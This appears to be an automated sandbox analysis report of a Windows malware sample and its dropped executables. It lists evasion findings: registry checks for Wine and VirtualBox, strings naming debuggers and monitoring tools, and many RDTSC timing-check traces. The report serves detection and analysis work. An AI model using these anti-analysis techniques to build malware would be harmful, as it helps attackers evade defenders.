Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_5-37879
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9719

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: PROCMON.EXE
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: X64DBG.EXE
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WINDBG.EXE
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F30D second address: 48F312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C202 second address: 60C23D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B07h 0x00000007 jmp 00007FF34D3F6B04h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f ja 00007FF34D3F6B10h 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E06A second address: 60E0CA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF34C7875D5h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d js 00007FF34C7875C8h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b ja 00007FF34C7875C8h 0x00000021 push edi 0x00000022 je 00007FF34C7875C6h 0x00000028 pop edi 0x00000029 popad 0x0000002a mov eax, dword ptr [eax] 0x0000002c push ebx 0x0000002d push ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pop ebx 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FF34C7875D6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E0CA second address: 60E146 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF34D3F6AF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FF34D3F6AF8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dx, si 0x0000002a push 00000003h 0x0000002c mov dword ptr [ebp+122D21E0h], ecx 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 mov ecx, dword ptr [ebp+122D3833h] 0x0000003b jne 00007FF34D3F6AFCh 0x00000041 popad 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push ebp 0x00000047 call 00007FF34D3F6AF8h 0x0000004c pop ebp 0x0000004d mov dword ptr [esp+04h], ebp 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc ebp 0x0000005a push ebp 0x0000005b ret 0x0000005c pop ebp 0x0000005d ret 0x0000005e push E9602AD2h 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jbe 00007FF34D3F6AF6h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E146 second address: 60E14C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E14C second address: 60E1C3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF34D3F6B07h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 29602AD2h 0x00000011 mov dword ptr [ebp+122D2220h], edx 0x00000017 lea ebx, dword ptr [ebp+12452F01h] 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FF34D3F6AF8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push esi 0x00000038 jng 00007FF34D3F6AFCh 0x0000003e mov dword ptr [ebp+122D2B2Bh], edx 0x00000044 pop edi 0x00000045 push eax 0x00000046 pushad 0x00000047 jmp 00007FF34D3F6B07h 0x0000004c push eax 0x0000004d push edx 0x0000004e push edi 0x0000004f pop edi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E2CC second address: 60E2DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jp 00007FF34C7875CEh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E2DF second address: 60E2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FF34D3F6AFCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E2F6 second address: 60E34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34C7875CDh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov dword ptr [ebp+122D223Dh], ecx 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 sub dword ptr [ebp+122D2A80h], eax 0x0000001f mov ebx, eax 0x00000021 popad 0x00000022 push 00000003h 0x00000024 push 47EF09DBh 0x00000029 jmp 00007FF34C7875CAh 0x0000002e add dword ptr [esp], 7810F625h 0x00000035 lea ebx, dword ptr [ebp+12452F0Ah] 0x0000003b sub dword ptr [ebp+122D29D2h], esi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E34C second address: 60E351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E42C second address: 60E430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E430 second address: 60E436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E436 second address: 60E457 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF34C7875CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FF34C7875CBh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E457 second address: 60E45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E45B second address: 60E45F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E45F second address: 60E46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E46F second address: 60E488 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF34C7875CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E532 second address: 60E538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E538 second address: 60E53C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E53C second address: 60E5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FF34D3F6B09h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FF34D3F6AFBh 0x0000001c popad 0x0000001d jmp 00007FF34D3F6B02h 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jmp 00007FF34D3F6B02h 0x0000002c pop eax 0x0000002d lea ebx, dword ptr [ebp+12452F15h] 0x00000033 jmp 00007FF34D3F6AFCh 0x00000038 mov esi, edx 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FF34D3F6AFBh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E5C0 second address: 60E5F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FF34C7875E3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF34C7875D5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F928 second address: 62F92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F92C second address: 62F932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F605A second address: 5F6068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF34D3F6AFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D846 second address: 62D84F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D84F second address: 62D855 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6076 second address: 5F60A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FF34C7875C6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF34C7875D1h 0x00000014 jmp 00007FF34C7875CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0AF second address: 62E0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6AFAh 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007FF34D3F6AF6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0C6 second address: 62E0E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF34C7875CCh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF34C7875C6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0E0 second address: 62E110 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF34D3F6AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FF34D3F6AFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF34D3F6B01h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E110 second address: 62E114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E696 second address: 62E69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E84B second address: 62E865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34C7875D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EADE second address: 62EAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F480 second address: 62F484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F484 second address: 62F48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F48A second address: 62F4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF34C7875D9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F4AB second address: 62F4BC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 js 00007FF34D3F6AF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F74C second address: 62F752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F752 second address: 62F75C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF34D3F6AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631BBC second address: 631BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34C7875D9h 0x00000009 jmp 00007FF34C7875D1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636409 second address: 636415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FF34D3F6AF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637979 second address: 63797F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63797F second address: 637989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FF34D3F6AF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638B86 second address: 638B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 ja 00007FF34C7875D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638B98 second address: 638B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AD99 second address: 63ADC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF34C7875CFh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007FF34C7875C6h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADC1 second address: 63ADC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D76 second address: 601D88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FF34C7875C6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D88 second address: 601D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E258 second address: 63E263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E263 second address: 63E269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E269 second address: 63E26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E26D second address: 63E283 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF34D3F6AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF34D3F6AFAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E3F8 second address: 63E3FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E3FE second address: 63E404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E404 second address: 63E408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E408 second address: 63E41B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF34D3F6AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007FF34D3F6AF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640D93 second address: 640D98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640D98 second address: 640E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jmp 00007FF34D3F6AFEh 0x00000011 pop esi 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 push ecx 0x00000016 jnl 00007FF34D3F6AF6h 0x0000001c pop ecx 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jmp 00007FF34D3F6B07h 0x00000027 pop eax 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007FF34D3F6AF8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000019h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 and esi, dword ptr [ebp+122D38EFh] 0x00000048 call 00007FF34D3F6AF9h 0x0000004d jmp 00007FF34D3F6B05h 0x00000052 push eax 0x00000053 jo 00007FF34D3F6AFEh 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640E2A second address: 640E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640E39 second address: 640E69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FF34D3F6AFBh 0x00000013 jp 00007FF34D3F6AF6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641183 second address: 641188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641323 second address: 64132D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF34D3F6AF6h 0x0000000a rdtsc
